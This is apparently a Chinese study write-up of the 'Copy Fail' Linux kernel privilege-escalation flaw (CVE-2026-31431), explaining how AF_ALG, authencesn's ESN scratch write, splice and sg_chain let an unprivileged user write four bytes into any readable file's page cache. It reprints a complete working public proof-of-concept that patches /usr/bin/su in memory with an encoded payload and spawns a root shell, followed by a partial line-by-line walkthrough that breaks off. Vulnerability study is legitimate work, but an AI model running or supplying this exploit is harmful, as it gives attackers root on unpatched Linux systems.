根据相关的资料,重新学习一下这个copy fail 漏洞,相关参考:
https://bbs.kanxue.com/thread-291167.htm
https://juejin.cn/post/7634537755251081226
https://github.com/Juguitos/copy-fail
https://zhuanlan.zhihu.com/p/2033279916859470743
这个漏洞的本质可以用一句话描述:它是 Linux内核 crypto 子系统中的一个逻辑漏洞,使普通用户能够向任意可读文件对应的 Page Cache 写入4个可控字节,最终获得 root 权限。
漏洞发生在copy_from_iter()函数里面。
Page cache & AF_ALG
Linux在读取磁盘文件时,Linux不每次都去读取磁盘,而是先去到Page chche里面寻找是否有缓存,如果找到就直接使用缓存数据,没找到再去访问磁盘。
但是page cache是多个进程共享的,如果有人能修改,那么多有进程都会看到修改后的内容。
然后我们需要去了解AF_ALG接口,也就是User Space Crypto API,用户态程序可以直接调用内核加密算法。
比如:
User
↓
AF_ALG Socket
↓
Crypto Subsystem
↓
Kernel
当调用Authencesn算法时,copyfail漏洞就出现了。
AEAD & Authencesn
AEAD即Authenticated Encryption with Associated Data,带关联数据的认证加密,是一种同时提供数据加密、完整性验证和身份认证的加密模式。
AEAD不仅对数据进行加密以保证保密性,还通过认证机制确保数据在传输或存储过程中未被篡改,同时验证密钥和数据的正确性。
简单来说就是把密文和不加密但要认证的数据同时参与认证。aad就是表示需要认证但是不需要加密的附加数据。比如tls里面的记录头信息。
AEAD算法比如aes-gcm,
AEAD(
key,
nonce,
plaintext,
aad
)
=
(ciphertext, tag)
而Authencesn全称是: Authenticated Encryption with Associated Data and Extended Sequence Numbers,具有关联数据和扩展序列号的认证加密。主要是给IPsec ESP使用的。普通的aead是aad、payload参与认证,authencesn则是aad,payload,sequence number参与认证。这样攻击者即使复制了整个包,也会因为sequence number的不同而过不了认证。
copyfail漏洞与authencesn处理有关系,研究人员发现,在authencesn 处理时,会重新组织内存布局并交给copy_from_iter(),用户空间可以通过AF_ALG接口,调用authencesn 并且完全控制aad的内容。authencesn 并没有随aad进行完整校验,导致page cache的内容被authencesn 修改。
splice & ESN scratch write
splice() 是 Linux 提供的零拷贝数据传输机制。在支持的场景下,它不会复制实际数据,而是让 pipe_buffer 直接引用已有的内核页(例如文件的 page cache 页),从而减少内存拷贝开销。
在 file→pipe 的 splice 路径中,pipe_buffer 通常不会保存文件内容的副本,而是持有对应 page cache 页的引用。因此后续内核组件如果错误地将这些页当作可修改的临时缓冲区,就可能直接修改底层 page cache,而不仅仅是修改 pipe 中的数据。
普通的 read() +
write() 流程需要将文件数据拷贝到用户空间 buffer,再从用户空间 buffer 拷贝到目标。而 splice() 直接把文件的 page cache 页面引用传递给管道的另一端,全程不发生数据拷贝。
引用自参考博客
我们还需要理解 IPsec ESP 协议中 ESN(Extended Sequence Number)机制。

ESP 协议最初只有一个 32 位序列号。发送一个数据包,序列号就加一。
但 32 位最多只能表示约 42 亿个包。在高速网络环境下,这个数字并没有想象中那么大。如果序列号最终重新回到 0,就可能出现重放攻击问题,因为旧的数据包又拥有了相同的序列号。
因此 IPsec 引入了 ESN(Extended Sequence Number)。
ESN 实际上把序列号扩展成了 64 位,其中:
这样序列号几乎不可能发生回绕。
ESP 的认证机制需要计算 HMAC。
如果 HMAC 只覆盖低 32 位序列号,那么当序列号从 0x00000000FFFFFFFF 增加到: 0x00000001FFFFFFFF 时,网络上传输的低 32 位仍然都是:0xFFFFFFFF
这样两个不同的数据包可能得到相同的认证输入。
因此 RFC 要求:认证计算必须包含完整的 64 位序列号。也就是说,高 32 位虽然没有发送出去,但仍然必须参与 HMAC 运算。
Linux 原来的 authenc 框架是在 ESN 出现之前设计的。它默认认为参与认证的数据只有:
它并不知道还有一个“高 32 位”。但协议要求高 32 位必须参与认证,因此 authencesn 就必须想办法把这 4 个字节塞进认证计算的数据流中。
在 ESP 输出数据包时,数据包尾部通常会预留一块空间,用于存放最终计算出来的认证标签(auth tag)。
而在 HMAC 尚未计算完成之前,这块空间实际上还是空的。开发人员发现,既然这里反正暂时没有内容,不如先借用这块空间。于是 authencesn 会把 ESN 的高 32 位临时写到这块区域中。这样 HMAC 在遍历整个缓冲区时,就能够看到完整的 64 位序列号。
因此:
从最终网络数据包来看,这 4 个字节从来不会真正发送出去,它只是一个临时工作区。这就是所谓的:ESN scratch write(ESN 临时写入)。
正常情况下,整个过程是:首先,高 32 位被写入认证标签的位置。随后加密和认证过程成功执行。最后,真正计算出来的 auth tag 会覆盖掉这 4 个字节。
因此最终数据包中只会留下:
临时写入的数据已经消失。
所以很多年里,这种设计一直都正常工作。
直到copy fail的发现:开发者默认认为,后续步骤一定会成功。但是实际上,加密或者认证操作可能失败。
例如:
如果错误发生在高 32 位已经写入之后,而真正的 auth tag 还没有写回之前,那么流程会提前退出。这样就出现了一个问题:那 4 个字节仍然残留在 dst buffer 中。原本只是临时工作区的数据,没有被恢复。
因此:
这就是 Copy Fail 的本质。
漏洞的出现
前面已经提到了一些漏洞的背景原理,现在具体到copy fail漏洞是怎么发生的。
漏洞的引入从2017年开始。在 2017 年之前,algif_aead 的解密采用的是 out-of-place 解密模式。
所谓 out-of-place,就是:
- 输入缓冲区(src)和输出缓冲区(dst)不是同一个。
当时的代码逻辑是:
TX SGL 里面保存了用户发送进来的全部数据:
而 RX SGL 是用户调用 recvmsg() 时提供的接收缓冲区。
解密前:
TX:
[AAD][密文][TAG]
RX:
[空]
解密后:
RX:
[??][明文]
这里的问题在于:AEAD 算法本身只负责处理密文。它不会主动去处理 AAD。
AEAD 的工作流程实际上是:
因此解密结束以后: 密文部分会变成明文。 AAD 理论上应该原样保留。
但是底层加密算法只会操作密文区域。
然而对于 algif_aead 而言: AAD 在 src 中。 dst 中对应位置是空的。
于是解密完成以后:
前面的 AAD 区域没人填。
结果用户收到的数据变成:
0000000000000000 + plaintext
AAD 全是 0。 这违反了 AEAD 接口的语义。
内核开发者Stephan Mueller 提交的 commit 72548b093ee3,就是专门解决这个问题。
开发者的思路非常简单:既然算法不会复制 AAD,那么调用者自己复制: 先把 AAD 和密文复制到 RX, 然后算法直接在RX上解密。
于是新增了一步:
src ----copy----> dst
AAD区域
这样:
这才符合 AEAD API 的要求。
因此这个补丁本身其实是完全正确的。
但是这样修复之后 ,解密后收到的是
AEAD算法还需要去验证tag,开发者采用了直接引用的方法,
也就是sg_chain()。
这里没有复制tag,而是在 scatterlist后面再挂一个节点。
这样就给漏洞的出现提供机会
在 Linux 内核中,为了追求极致的性能,用户经常会使用 splice() 或 sendfile() 系统调用。这些调用的核心优化就是零拷贝(Zero-Copy)。
当用户通过 splice() 将一个文件中的数据发送到 algif_aead 的 Socket 时,内核为了省去将数据从内核复制到用户空间的开销,会直接把该文件在 Page Cache(页面缓存)中的物理页面(Pages)拿过来,作为 TX SGL 的内存流。
这意味着:
- 此时 TX SGL 里的 AAD、密文等数据,在物理上就是 Page Cache 里的页面。
- 这些页面是由内核的管理机制(如文件系统、块设备层)锁定的,通常是只读的。
但是漏洞单靠 splice 还不够,攻击者还需要利用一个网络编程中常见的标志:MSG_MORE。
当调用 sendmsg() 或 splice() 时如果带了 MSG_MORE,意思是:“我后面还有数据要发,你先别急着提交给硬件/加密算法,先在内核里攒着。”
此时,algif_aead 会把当前的 TX SGL(来自于 Page Cache 的页面)暂存到内核的 Socket 缓冲区中(即 ctx->tsgl)。
漏洞的触发还需要 copy_from_iter 参与。
用户接下来调用 recvmsg() 尝试去解密并接收数据。
正如我们前面分析的,commit 72548b093ee3 引入了一个修复操作:在解密前,必须先把 AAD 区域从 src(TX SGL)复制到 dst(RX SGL)。
内核在执行这个复制时,使用的是底层内存拷贝函数(如 copy_from_iter 或 memcpy_from_page)。 它的意图是:从 TX SGL(源)读取 AAD,写入 RX SGL(目的)。
但是,如果攻击者故意进行恶意构造,让 RX SGL 的接收缓冲区,“正好”也指向刚才那个 Page Cache 页面呢?(或者由于并发、重用等原因导致了页面的重叠)。
更严重的是,即使没有完全重叠,根据前面讲的 sg_chain() 逻辑: 解密时,算法需要验证 Tag。为了效率,内核直接用 sg_chain() 把 TX 的 Tag 页面挂到了 RX SGL 的尾部。
此时的 RX SGL 变成了这样一个“缝合怪”:
RX SGL: [ 用户Rx缓冲区 ] -> [ 链表指针 ] -> [ 来自TX的Tag页面 (实质是Page Cache) ]
如果此时调用发生错误,或者在复杂的并发并发套接字操作中,内核在执行:
// 伪代码:本意是将数据拷入RX,但RX的某个节点(比如Tag)其实指向了Page Cache
crypto_aead_copy_aad(...);
由于对输入/输出边界缺乏严格的检查,内核在复制(Copy)时如果发生失败(Fail)——也就是 copy_fail 名字的由来:
- 内核尝试向 RX SGL 写入 AAD 或者是解密后的明文。
- 结果由于某些页面的共享或重用,这个写入目标错误地指向了尾部挂载的那个属于 Page Cache 的只读页面。
copy_from_iter 这种函数在向一个“只读”的 Page Cache 页面强制写入数据时(内核态有最高权限,可以绕过写保护),直接污染了(Dirtied)系统全局的 Page Cache!
copy_fail 的闭环:
- Page Cache 提供舞台用户用
splice 发送文件,导致加密算法的输入源(TX)直接引用了内核的 Page Cache(页面缓存)。 - Commit 72548b093ee3 引入工具为了修复 AAD 为 0 的问题,引入了“主动 Copy AAD 到 RX”以及“用
sg_chain 将 Tag 页面直接挂到 RX 尾部”的逻辑。这导致 RX SGL 间接持有了 Page Cache 页面的写权限。 - Copy Fail 瞬间引爆在解密、复制的异常处理路径中(Fail 路径),内核未能正确校验边界,导致原本应该写到用户缓冲区的明文或 AAD,直接覆盖写进了 Page Cache 页面。
由于 Page Cache 是全局共享的,一旦它被污染,当其他正常进程(甚至系统核心服务)再次读取该文件时,读到的就是被篡改后的数据。这就完成了从一个“加密 API 语义修复”到“任意文件覆盖 / 本地提权(LPE)”的漏洞演变。
漏洞利用过程
我们已经知道,sg_chain() 最终将包含 Tag 的页面指针挂载到了接收端 combined dst SGL 的尾部。现在,我们把整个利用过程从头到尾走一遍。
假设我们的目标是:在无需任何写权限的情况下,向系统关键文件(如 /usr/bin/su)的偏移 t 处,强行写入 4 字节的可控恶意数据。
Step 1:用户空间精心构造并发送数据
在用户空间,攻击者需要通过配置特殊的解密参数,分两步欺骗内核:
assoclen = 8:通过 sendmsg 的控制消息设置 AAD 长度为 8 字节。authsize = 4:通过 setsockopt(ALG_SET_AEAD_AUTHSIZE) 设置认证标签大小为 4 字节。
随后,通过两条路径向 AF_ALG 套接字注入数据:
Python
evil_bytes = b'\xde\xad\xbe\xef'
aad = b'\x00\x00\x00\x00' + evil_bytes
op.sendmsg([aad], cmsg, MSG_MORE)
pipe_r, pipe_w = os.pipe()
target_fd = os.open
("/usr/bin/su", os.O_RDONLY)
os.splice(target_fd, pipe_w, t + 4, offset_src=0)
os.splice(pipe_r, op.fileno(), t + 4)
Step 2:TX SGL 布局分析
经过上述操作后,内核在物理内存中为 TX SGL 攒出来的连续视图如下:
Plaintext
TX SGL 内存布局:
+--------------------+----------------------------------------+
| sendmsg data (8B) | splice data (t+4 bytes) |
| AAD: 4 zero bytes | file[0:t+4] |
| + evil_bytes | 通过 splice 零拷贝直接引用的物理页面 |
| (kmalloc 堆内存) | (指向系统全局共享的只读 PAGE CACHE!) |
+--------------------+----------------------------------------+
从内核 AEAD 解密的视角来切分这段大小为 8 + (t + 4) = t + 12 字节的数据:
AAD(前 assoclen=8 字节)= \x00\x00\x00\x00 + evil_bytes- 密文(中间 $t$ 字节)=
file[0:t](文件的前 $t$ 字节被当成了“密文”) - 认证标签 Tag(最后
authsize=4 字节)= file[t:t+4]
Step 3:调用 recv() 触发零拷贝 SGL 缝合
当用户空间调用 recv() 时,内核触发 _aead_recvmsg() 并计算解密后的输出大小。
此时,受 commit 72548b093ee3 补丁的影响,内核开始构建 combined dst SGL:memcpy_sglist(RX buffer, TX SGL, outlen=t+8)
内核将 TX SGL 的前 t+8 字节真正复制到用户空间的 RX 缓冲区中。RX buffer [0:8] = AAD 的副本RX buffer [8:8+t] = file[0:t]
的副本
sg_chain():内核将这个带有 Page Cache 引用的 Tag 节点挂载到 RX SGL 的末尾。Plaintext
最终的 combined dst SGL 链表结构:
+-- RX buffer (用户空间分配,安全) ---+ +-- chained tag (PAGE CACHE 物理页!) --+
| | | |
| AAD (8B) | 密文区域 (tB) |->| file[t:t+4] 原始文件页面 |
| | = copy of file[0:t] | | (通过 sg_chain 缝合进来的写目标) |
| | | |
+-- 偏移 0 t+8 -----+ +-- 偏移 t+8 t+12 ----+
Step 4:authencesn 的 Scratch Write 致命一击
当解密器 crypto_authenc_esn_decrypt() 开始执行时,为了处理 ESN(扩展序列号)逻辑,它会执行一段暂存写(Scratch Write)代码:
C
// 1. 先从 dst SGL 偏移 0 处读取 8 字节的 AAD 到临时变量 tmp
scatterwalk_map_and_copy(tmp, req->dst, 0, 8, 0); // tmp[0]=AAD[0:4], tmp[1]=AAD[4:8](evil_bytes)
unsigned int cryptlen = req->cryptlen; // = t + 4
cryptlen -= authsize; // = t
// 2. 致命写:将 tmp[1] (即 evil_bytes) 写入 dst SGL 的特定偏移处
scatterwalk_map_and_copy(tmp + 1, req->dst, assoclen + cryptlen, 4, 1);
// ^^^^^^^^^^^^^^^^^^^
// = 8 + t 字节处的偏移
根据 Step 3 里的链表图,偏移 8+t 恰好是安全缓冲区 RX buffer 的终点,同时也是 chained tag pages
(Page Cache 原始引用)的起点!
内核在内核态拥有最高权限,它会直接绕过 VFS 的只读保护,直接向这个属于 /usr/bin/su 的物理页强行写入 4 字节的 evil_bytes。
正常情况下,解密尾部函数 crypto_authenc_esn_decrypt_tail() 会尝试恢复被暂存写覆盖的数据。
但在该漏洞路径下:
- 它先读取了
dst[8+t] 处的当前值(此时已经是攻击者写入的 evil_bytes)。 - 然后回写的是 AAD 数据到
dst[0:8],dst[8+t] 处的 Page Cache 页面从未被写回原始值。 - 随后,由于数据和 Tag 完全是伪造的,HMAC 校验必然宣告失败,内核向用户态返回
-EBADMSG 错误码。
但对攻击者而言,这个错误已经无所谓了——Page Cache(页面缓存)在内存中已经被强行污染(Dirty)。
总结:
- 目标文件:任意当前用户具有只读权限(
O_RDONLY)的文件均可被作为目标。 - 写入位置(偏移 $t$):完全由
splice() 传递的长度决定。通过调整长度控制 $t$,可以精准定位到文件内部的任何位置。 - 写入内容:由
sendmsg 发送的 AAD[4:8] 决定,4 字节完全可控。 - 写入大小:固定 4 字节。这个限制并不是因为
authsize=4,而是因为 authencesn 源码中硬编码了 sizeof(u32) 用于存放 ESN 序列号。
由于 Page Cache 是全局共享的,一旦它在内存中被强行篡改,当系统后续尝试去执行 /usr/bin/su 或读取敏感配置文件时,就会直接在内存中读取到篡改后的后门数据,从而瞬间实现本地提权(LPE)。
公开POC:
https://github.com/theori-io/copy-fail-CVE-2026-31431
import os as g,zlib,socket as s
def d(x):return bytes.fromhex(x)
def c(f,t,c):
a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o)
try:u.recv(8+t)
except:0
f=g.open("/usr/bin/su",0);i=0;e=zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))
while i<len(e):c(f,i,e[i:i+4]);i+=4
g.system("su")
整个 PoC 的核心逻辑是:通过循环,每次调用 c() 函数向 /usr/bin/su 强行写入 4 字节数据,最终拼出一段完整的恶意 Payload,最后执行 su 触发提权。
这个公开的 PoC 写得非常精简且极其精妙(用了类似混淆的短变量名)。它完美地将你前面分析的所有理论转换成了实际的攻击武器。
整个 PoC 的核心逻辑是:通过循环,每次调用 c() 函数向 /usr/bin/su 强行写入 4 字节数据,最终拼出一段完整的恶意 Payload,最后执行 su 触发提权。
下面为你逐行、逐段深度解析这段代码:
核心解密函数
c(f, t, c) 的参数定义
Pytho
def c(f, t, c):
# f: 目标文件的文件描述符 (这里是只读打开的 /usr/bin/su)
# t: 当前写入的目标文件偏移量 (Offset)
# c: 这一次要写入的 4 字节恶意数据 (Payload)